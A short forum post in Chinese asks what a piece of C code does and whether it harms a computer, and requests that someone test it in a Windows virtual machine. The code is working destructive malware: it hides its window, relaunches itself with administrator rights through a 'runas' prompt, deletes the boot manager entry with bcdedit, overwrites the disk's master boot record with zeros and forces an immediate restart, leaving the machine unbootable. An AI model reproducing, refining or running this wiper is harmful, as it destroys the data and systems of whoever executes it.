这个代码干啥用的,会危害电脑吗,有没有大佬在windows虚拟机上帮忙测一下
#include <windows.h>
BOOL IsRunAsAdmin(HANDLE hProcess)
{
if (!hProcess)
hProcess = GetCurrentProcess();
BOOL bElevated = FALSE;
HANDLE hToken = NULL;
if (!OpenProcessToken(hProcess, TOKEN_QUERY, &hToken))
return FALSE;
TOKEN_ELEVATION tokenEle;
DWORD dwRetLen = 0;
if (GetTokenInformation(hToken, TokenElevation, &tokenEle, sizeof(tokenEle), &dwRetLen))
{
if (dwRetLen == sizeof(tokenEle))
{
bElevated = tokenEle.TokenIsElevated;
}
}
CloseHandle(hToken);
return bElevated;
}
VOID ManagerRun(LPCSTR exe, LPCSTR param, INT nShow)
{
SHELLEXECUTEINFO ShExecInfo;
ShExecInfo.cbSize = sizeof(SHELLEXECUTEINFO);
ShExecInfo.fMask = SEE_MASK_NOCLOSEPROCESS ;
ShExecInfo.hwnd = NULL;
ShExecInfo.lpVerb = "runas";
ShExecInfo.lpFile = exe;
ShExecInfo.lpParameters = param;
ShExecInfo.lpDirectory = NULL;
ShExecInfo.nShow = nShow;
ShExecInfo.hInstApp = NULL;
BOOL ret = ShellExecuteEx(&ShExecInfo);
CloseHandle(ShExecInfo.hProcess);
}
void MBR()
{
DWORD Ropen;
BYTE pMBR[1024] = { 0 };
HANDLE hDevice = CreateFile(
"\\\\.\\PhysicalDrive0",
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
0,
NULL);
DeviceIoControl(hDevice, FSCTL_LOCK_VOLUME, NULL, 0, NULL, 0, &Ropen, NULL);
WriteFile(hDevice, pMBR, 1024, &Ropen, NULL);
DeviceIoControl(hDevice, FSCTL_UNLOCK_VOLUME, NULL, 0, NULL, 0, &Ropen, NULL);
}
int main(int argc, char *argv[])
{
if (!IsRunAsAdmin(NULL))
{
ShowWindow(GetConsoleWindow(),SW_HIDE);
ManagerRun(argv[0],"2",SW_SHOWNORMAL);
return 1;
}else{
system("bcdedit /delete {bootmgr} /f");
MBR();
system("shutdown -r -t 0");
}
return 0;//fk ccf
}